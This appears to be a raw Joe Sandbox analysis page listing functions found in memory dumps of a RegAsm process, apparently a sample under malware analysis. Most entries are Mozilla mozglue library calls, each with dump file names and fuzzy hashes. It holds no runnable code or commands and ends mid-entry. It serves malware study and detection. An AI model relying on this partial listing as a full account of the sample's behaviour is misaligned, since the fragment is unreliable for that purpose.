Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CBBE330,?,6CB6C059), ref: 6CBAADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CBBE330,?,6CB6C059), ref: 6CBAAE01
GetLastError.KERNEL32(?,00000000,?,?,6CBBE330,?,6CB6C059), ref: 6CBAAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CBBE330,?,6CB6C059), ref: 6CBAAE3D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 3ae4f7214c152a54b000af9feadee60e0122905a720bcfe27f56617e9381003c
Instruction ID: c726b6c2489235fea49e6a9a9e16932bdf8c521b0ad28f0c7d3dc01d1042cb34
Opcode Fuzzy Hash: 3ae4f7214c152a54b000af9feadee60e0122905a720bcfe27f56617e9381003c
Instruction Fuzzy Hash: BE3121B1A002559FDB10DF758C44AAFBBF8EF49614F154829E89AE7700EB34D805CBB1

Function 6CBA0B90 Relevance: 7.6, APIs: 5, Instructions: 92timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA0BBC

Part of subcall function 6CB65C50: GetTickCount64.KERNEL32 ref: 6CB65D40
Part of subcall function 6CB65C50: EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CB65D67

?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA0BCA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA0BD5

Part of subcall function 6CB65C50: __aulldiv.LIBCMT ref: 6CB65DB4
Part of subcall function 6CB65C50: LeaveCriticalSection.KERNEL32(6CBCF688), ref: 6CB65DED

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA0BE2
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CBA0C9A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalSection$BaseCount64Creation@DurationEnterLeavePlatformProcessSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@__aulldiv
String ID:
API String ID: 3168180809-0
Opcode ID: 61f633e74a2a27664815eb8a4d372cfa4ed37398f2a4b477d9a707bfcb9e4a3f
Instruction ID: 5b8bf2de83eaff37df8a9c57af0b5f69add77d60b94db91a77615154c8f4ebb9
Opcode Fuzzy Hash: 61f633e74a2a27664815eb8a4d372cfa4ed37398f2a4b477d9a707bfcb9e4a3f
Instruction Fuzzy Hash: 74313931A083949BC714DF39D49011BB7E8FF82774F104B1EF8A6A36D1EB7098498B92

Function 6CBA5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CBBDCA0,?,?,?,6CB7E8B5,00000000), ref: 6CBA5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB7E8B5,00000000), ref: 6CBA5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB7E8B5,00000000), ref: 6CBA5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB7E8B5,00000000), ref: 6CBA5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB7E8B5,00000000), ref: 6CBA5FD6

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: cf5d7d2b248b2d6fff6ecb23fd3c04f97e8ddf526c6299b4a55f70e037e11d8d
Instruction ID: d96ca2cd3442891f0c09e9a26c3c24d21fbd6efc92ffc673b6c98ebc4bf48a15
Opcode Fuzzy Hash: cf5d7d2b248b2d6fff6ecb23fd3c04f97e8ddf526c6299b4a55f70e037e11d8d
Instruction Fuzzy Hash: 03314E34304A408FDB10CF69C898E2AB7F9FF8D319B648568E59687795C732ED46CB81

Function 6CB4B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CB4B532
moz_xmalloc.MOZGLUE(?), ref: 6CB4B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB4B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CB4B57E
free.MOZGLUE(00000000), ref: 6CB4B58F

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 9bb445901704661d62ead930e7bc660d852524231d363de6ae374b9f7cb6c52b
Instruction ID: 8f2e2e7040cd49092b44bd42176632ea6ae9fd7d802592ccbe32b41cad75d71e
Opcode Fuzzy Hash: 9bb445901704661d62ead930e7bc660d852524231d363de6ae374b9f7cb6c52b
Instruction Fuzzy Hash: 5221F671A046459BDB009F68CC50BAEFBB9FF45304F288029E918DB345E735DD15D7A1

Function 6CB4B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB4B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CB4B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CB4B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB4B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB4B849

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: f35fc39f99e1cfe4ff5dbce5e037998458eb7edde77cf497d84a6753d2f316f9
Instruction ID: db526650d6a761e7e5e4adf79a32ce51d7e4cad1d57894346f96494885e13f8b
Opcode Fuzzy Hash: f35fc39f99e1cfe4ff5dbce5e037998458eb7edde77cf497d84a6753d2f316f9
Instruction Fuzzy Hash: 8D2128B0E042499FDF04DFA9C8855BEBBB8EF49214F148129ED49A7341E731AA44CBA1

Function 6CBA6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CBA6E78

Part of subcall function 6CBA6A10: InitializeCriticalSection.KERNEL32(6CBCF618), ref: 6CBA6A68
Part of subcall function 6CBA6A10: GetCurrentProcess.KERNEL32 ref: 6CBA6A7D
Part of subcall function 6CBA6A10: GetCurrentProcess.KERNEL32 ref: 6CBA6AA1
Part of subcall function 6CBA6A10: EnterCriticalSection.KERNEL32(6CBCF618), ref: 6CBA6AAE
Part of subcall function 6CBA6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CBA6AE1
Part of subcall function 6CBA6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CBA6B15
Part of subcall function 6CBA6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CBA6B65
Part of subcall function 6CBA6A10: LeaveCriticalSection.KERNEL32(6CBCF618,?,?), ref: 6CBA6B83

MozFormatCodeAddress.MOZGLUE ref: 6CBA6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CBA6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CBA6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CBA6EFF

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 400d3ac181b594405284a65edeb9bbfaa5e2eae0c24a33ae1e5ebdf3726e71b1
Instruction ID: 28474cbfda5e0abe423f4dcfc19fe25522f9510d2258c5f6954dbba5b972f723
Opcode Fuzzy Hash: 400d3ac181b594405284a65edeb9bbfaa5e2eae0c24a33ae1e5ebdf3726e71b1
Instruction Fuzzy Hash: 2421A1B1A0825A9FDF10CF69D8856DE77F9EF88308F044039E84997341EB709A598F92

Function 6CB56390 Relevance: 7.6, APIs: 5, Instructions: 72threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB563D0
AcquireSRWLockExclusive.KERNEL32 ref: 6CB563DF
ReleaseSRWLockExclusive.KERNEL32 ref: 6CB5640E
__Init_thread_footer.LIBCMT ref: 6CB56467
??$AddMarkerToBuffer@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@AAVProfileChunkedBuffer@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB564A8

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Marker$D@std@@ExclusiveLockProfileTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferBuffer@Buffer@1@Category@1@$$ChunkedCurrentD@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Init_thread_footerMarker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfilerReleaseStringThreadView@
String ID:
API String ID: 3202982786-0
Opcode ID: 3aa0b7b9d1a7a3651d4fcd6b085e81dca6e6c4091a73d6cf28c2b8d750193c3b
Instruction ID: 2f9829f646eeeb423ba8a2a63cabd321f2db18d374e7f81df2885497bfe3c12e
Opcode Fuzzy Hash: 3aa0b7b9d1a7a3651d4fcd6b085e81dca6e6c4091a73d6cf28c2b8d750193c3b
Instruction Fuzzy Hash: 6E31BDB1604281CFDB00DFA8C04566EBBF0FF8A319F11456DD8A583B40D738A588CBA7

Function 004163C0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210DC,?,?,004165B1,00000000,?,0141AB80,?,004210DC,?,00000000,?), ref: 0041640C
sscanf.NTDLL ref: 00416439
SystemTimeToFileTime.KERNEL32(004210DC,00000000,?,?,?,?,?,?,?,?,?,?,?,0141AB80,?,004210DC), ref: 00416452
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,0141AB80,?,004210DC), ref: 00416460
ExitProcess.KERNEL32 ref: 0041647A

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 71226660715abbaebf248be71a1495cb0fc92045d7147a3f1889571ffea5eb03
Instruction ID: 830abe8b8eab449a7d9cc0da15019f7c77d9f2c5bac1468e5daa421451f66edb
Opcode Fuzzy Hash: 71226660715abbaebf248be71a1495cb0fc92045d7147a3f1889571ffea5eb03
Instruction Fuzzy Hash: EA21E1B5D14208AFCF14EFE4D945ADEB7BABF48304F04852EE50AE3250EB349605CB69

Function 6CBA76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CBA76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CBA7705

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBA7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CBA778F,00000000,00000000,00000000,00000000), ref: 6CBA7731
free.MOZGLUE(00000000), ref: 6CBA7760

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 6d40199825b242274eeff915aad6a9f0110a6a296d8dae7476d986b19ff40cf7
Instruction ID: 51d105e39d0b27157d959a5e181f5992de36206bc251aeb634607fc13c21eeb9
Opcode Fuzzy Hash: 6d40199825b242274eeff915aad6a9f0110a6a296d8dae7476d986b19ff40cf7
Instruction Fuzzy Hash: 9711C8B29042556BDB10AFB68C44B6F7EE8EF55354F144429F888E7300E7708944CBE2

Function 6CBA9B50 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

??KDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6CBA9B74
?ceil@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6CBA9BBA
?floor@Decimal@blink@@QBE?AV12@XZ.MOZGLUE ref: 6CBA9BC8
??DDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?), ref: 6CBA9BD7
??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(?,?,?,?), ref: 6CBA9BE0

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Decimal@blink@@$V01@V01@@$V12@$?ceil@?floor@
String ID:
API String ID: 2380687156-0
Opcode ID: 8084ab9a13a756866c90fc774e06c0ac81bc4f8b5b9ffc2cd8b45358d24030bd
Instruction ID: 4c7652ae39da4002dcb2448c15e07e554a10007c9ed8e62b9739789d2a40aba1
Opcode Fuzzy Hash: 8084ab9a13a756866c90fc774e06c0ac81bc4f8b5b9ffc2cd8b45358d24030bd
Instruction Fuzzy Hash: 9211863191C384A787109FA88C4189FB7BCFFC9364F404A0DF9D647640DB329649D792

Function 6CB80D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CB43DEF), ref: 6CB80D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CB43DEF), ref: 6CB80D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CB43DEF), ref: 6CB80DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB80D97, 6CB80DBE
<jemalloc>, xrefs: 6CB80D92, 6CB80DB9

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 2fd6b130f8f587c34750f71dc067a9e637d3b98b367483373c45eb5c3749e9b3
Instruction ID: a160fe48464b1d4d1e3e8ee5951a881ee2233a6a4155fefb536abad25e0aeb66
Opcode Fuzzy Hash: 2fd6b130f8f587c34750f71dc067a9e637d3b98b367483373c45eb5c3749e9b3
Instruction Fuzzy Hash: 95F080313876E463D51011656C0ABBE255DA7C2B95F344135FA14DBDC0DA50E9004767

Function 6CBA5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6CBA586C
CloseHandle.KERNEL32 ref: 6CBA5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CBA5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CBA58C9
free.MOZGLUE(00000000), ref: 6CBA58D3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 80a43849b46f64ed135d57a7f7fb9e728b92265476a1ad02510bc12ac0cd975d
Instruction ID: f91a06133822421b67ce193298a70fba48457039e4634bcb745958424a9ad955
Opcode Fuzzy Hash: 80a43849b46f64ed135d57a7f7fb9e728b92265476a1ad02510bc12ac0cd975d
Instruction Fuzzy Hash: 130131727042419BDF00DF5ADC08A067BB9FB8B36972441B6EA1AD3610D7359F198F85

Function 00418D00 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(014241D0,?,?,?,00410F1C,?,014241D0,00000000), ref: 00418D0C
lstrcpyn.KERNEL32(0062D378,014241D0,014241D0,?,00410F1C,?,014241D0), ref: 00418D30
lstrlenA.KERNEL32(?,?,00410F1C,?,014241D0), ref: 00418D47
wsprintfA.USER32 ref: 00418D67

Strings

%s%s, xrefs: 00418D55

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction ID: 934000c32db0b3497a9cf3f86b5bcb86f2a34007e8430f093dfbe5a2fe39e620
Opcode Fuzzy Hash: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction Fuzzy Hash: 4D0121B5500A08FFDB14DFA8D944EAE7B7AEF49354F108148F9099B340C731AA41CB95

Function 6CB97620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB975C4,?), ref: 6CB9762B

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB974D7,6CBA15FC,?,?,?), ref: 6CB97644
GetCurrentThreadId.KERNEL32 ref: 6CB9765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB974D7,6CBA15FC,?,?,?), ref: 6CB97663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB974D7,6CBA15FC,?,?,?), ref: 6CB97677

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 8f284359db96e5e9eef0db3b7f9c571b79bf01b4344e30eb2b1984585780ffb7
Instruction ID: 3d3f97b7056d6133c4b332c19e1ef0ad664ae4ea677cf9d18e340608c2e1db37
Opcode Fuzzy Hash: 8f284359db96e5e9eef0db3b7f9c571b79bf01b4344e30eb2b1984585780ffb7
Instruction Fuzzy Hash: 04F0C276E10786ABD7008F61C88867ABB78FFEE759F115316F90483601E7B0A6D08BD0

Function 0041C131 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C13D

